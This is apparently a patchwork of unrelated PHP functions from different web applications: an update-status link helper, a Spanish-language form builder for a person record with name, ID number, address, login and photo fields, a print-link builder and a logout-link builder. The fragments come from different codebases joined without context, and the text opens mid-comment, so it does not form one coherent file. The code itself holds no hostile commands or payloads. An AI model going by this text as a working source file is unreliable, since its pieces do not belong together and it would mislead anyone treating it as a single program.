 */
function update_status_anchor($task = NULL, $key = NULL, $anchor = NULL)
{
    global $WAS_SCRIPT_NAME;
    $parameters = array('job' => JOB_UPDATE);
    if (!is_null($task)) {
        $parameters['task'] = $task;
    }
    if (!is_null($key)) {
        $parameters['key'] = strval($key);
    }
    if (is_null($anchor)) {
        $anchor = t('update_status_update', 'admin');
    }
    return html_a($WAS_SCRIPT_NAME, $parameters, NULL, $anchor);
}
 /**
  * Este metodo construye el formulario en sí.
  */
 function form()
 {
     $this->initialize();
     $table =& html_table($this->_width, 0, 0, 0);
     $table->set_class("mainInterfaceWidth");
     //$table->set_style("border: 1px solid");
     //$titulo = html_td('ptabla01','', agt('Ficha alumno'));
     //$titulo->set_tag_Attribute('colspan', '2');
     //$table->add_row($titulo);
     //Tabla de detalle
     $row = html_tr();
     $arr_data = $this->getViewVariable('arr_info');
     //Debug::oneVar($arr_data);
     if ($arr_data['image'] != '') {
         $img = Util::main_URLPath('var/secretary/user_image/user_' . $arr_data['person_id'] . '.' . $arr_data['image']);
     } else {
         $img = Theme::getThemeImagePath("anonimo.jpg");
     }
     $image = html_td('', '', html_img($img, 90, 118));
     $image->set_tag_attribute("width", "12%");
     $image->set_tag_attribute("align", "center");
     $detail_table =& html_table(Session::getContextValue('mainInterfaceWidth'), 0, 0, 0);
     $this->add_class_row($detail_table, "Nombre");
     $detail_table->add_row(html_td('ptabla02', '', agt('Apellido')), html_td('ptabla03', '', container($this->element_form("Primer Apellido"), $this->element_form("Segundo Apellido"))));
     //Condicionar vvvvvvvvv
     $label1 = $this->element_label("Usuario");
     $label1->set_tag_attribute('class', 'ptabla02');
     $label2 = $this->element_label("Contraseña");
     $label2->set_tag_attribute('class', 'ptabla02');
     if ($this->getViewVariable('status') == 'show') {
         $detail_table->add_row(html_td('ptabla02', '', agt('Datos de acceso')), html_td('ptabla03', '', container($label1, $this->element_form("Usuario"), $label2, $this->element_form("Contraseña"))));
     }
     $this->add_class_row($detail_table, "DNI");
     $this->add_class_row($detail_table, "Dirección");
     $this->add_class_row($detail_table, "Población");
     $this->add_class_row($detail_table, "Provincia");
     $this->add_class_row($detail_table, "Pais");
     $this->add_class_row($detail_table, "Código Postal");
     $row->add($image);
     $row->add($detail_table);
     $table->add($row);
     /*
             //$this->add_class_row($table,"Tratamiento");
             $this->add_class_row($table,"Nombre");
             //$this->add_class_row($table,"Primer Apellido");
             //$this->add_class_row($table,"Segundo Apellido");
     $table->add_row(html_td('ptabla02','',agt('Apellido')), html_td('ptabla03', '', container($this->element_form("Primer Apellido"), $this->element_form("Segundo Apellido"))));
             $this->add_class_row($table,"DNI");
             //$this->add_class_row($table,"Fecha de nacimiento");
             $this->add_class_row($table,"Dirección");
             $this->add_class_row($table,"Población");
             $this->add_class_row($table,"Provincia");
             $this->add_class_row($table,"Pais");
             $this->add_class_row($table,"Código Postal");
     */
     //$this->add_class_row($table,"Teléfono");
     $table->add_row(html_td('ptabla02', '', agt('Teléfono')), html_td('ptabla03', '', container($this->element_form("Teléfono1"), $this->element_form("Teléfono2"))));
     $this->add_class_row($table, "Fax");
     //$this->add_class_row($table,"E-mail");
     $table->add_row(html_td('ptabla02', '', agt('e-mail')), html_td('ptabla03', '', container($this->element_form("E-mail1"), $this->element_form("E-mail2"), $this->element_form("E-mail3"))));
     $this->add_class_row($table, "Web");
     if ($this->getViewVariable('status') == 'new') {
         $table->add_row(html_td('ptabla02', '', agt('Fotografía')), html_td('ptabla03', '', $this->element_form("imagen")));
     }
     if ($this->getViewVariable('pid') == 3) {
         $table->add_row(html_td('ptabla02', '', agt('C.V.')), html_td('ptabla03', '', $this->element_form("cv_doc")));
     }
     if ($arr_data['cv'] != '') {
         $link = Util::main_URLPath('var/secretary/user_cv/user_' . $arr_data['person_id'] . '.' . $arr_data['cv']);
         $table->add_row(html_td('ptabla02', '', agt('CV')), html_td('ptabla03', '', html_a($link, agt('Abrir'), 'titulo03a')));
     }
     $this->add_class_row($table, "Observaciones");
     //$table->add_row($this->_tableRow("Nombre de usuario"));
     //$table->add_row($this->_tableRow("Clave de acceso"));
     //$table->add_row($this->_tableRow("Clave de acceso (confirmación)"));
     //$table->add_row($this->_tableRow("Correo electrónico"));
     //$table->add_row($this->_tableRow("Tema"));
     //$table->add_row($this->_tableRow("Perfil de usuario"));
     //$table->add_row($this->_tableRow("Politica de privacidad"));
     $row = html_tr();
     //$row->add("Politica de privacidad", "Los datos serán almacenados de forma segura y no se cederán a terceras partes.");
     $row->add("Politica de privacidad", "Los datos serán almacenados de forma segura y no se cederán a terceras partes.");
     //$table->add_row($row);
     $table->add_row(_HTML_SPACE, $this->element_form("Aceptar"));
     return $table;
 }
 /** construct a list of quicklinks for top of page (if any) + (maybe) a print-button
  *
  *
  * @param string $m left margin for increased readability
  * @return string constructed list of clickable links or an empty string
  * @uses get_quicklinks()
  */
 function get_quicktop($m = '')
 {
     global $CFG;
     $separator = $this->quicktop_separator;
     $s = $this->get_quicklinks($m, 'quicktop_section_id', $separator);
     if (isset($_GET['print']) && $_GET['print'] != 0) {
         // already on printpage; suppress link
         return $s;
     }
     if (empty($s)) {
         $separator = '';
     } elseif (!empty($separator)) {
         $separator .= ' ';
         // for readability
     }
     $url = $CFG->www . '/index.php';
     if (isset($_SERVER['PATH_INFO'])) {
         $path_info = $_SERVER['PATH_INFO'];
         $url .= htmlspecialchars($path_info);
     }
     $item_count = 0;
     $params = !empty($_GET) ? $_GET : array();
     $params['print'] = '1';
     $attributes = array('title' => t('print_title', $this->domain), 'target' => '_blank');
     return $s . $m . $separator . html_a($url, $params, $attributes, t('print', $this->domain)) . "\n";
 }
 /** conditionally construct a logout link
  *
  * @param string $separator a visual separator that is prepended
  * @param string $m margin for increased readability
  * @return string ready to use HTML-code
  */
 function schoolyard_logout($separator = '', $m = '')
 {
     global $CFG, $USER;
     if ($USER->is_logged_in) {
         $aparams = array('{USERNAME}' => htmlspecialchars($USER->username), '{FULL_NAME}' => htmlspecialchars($USER->full_name));
         $anchor = t('logout_username', $this->domain, $aparams);
         $params = array('logout' => '1');
         $attributes = array('title' => t('logout_username_title', $this->domain, $aparams));
         $s = $m . $separator . html_a($CFG->www_short . '/index.php', $params, $attributes, $anchor) . "\n";
     } else {
         $s = '';
         // or perhaps a login prompt?
     }
     return $s;
 }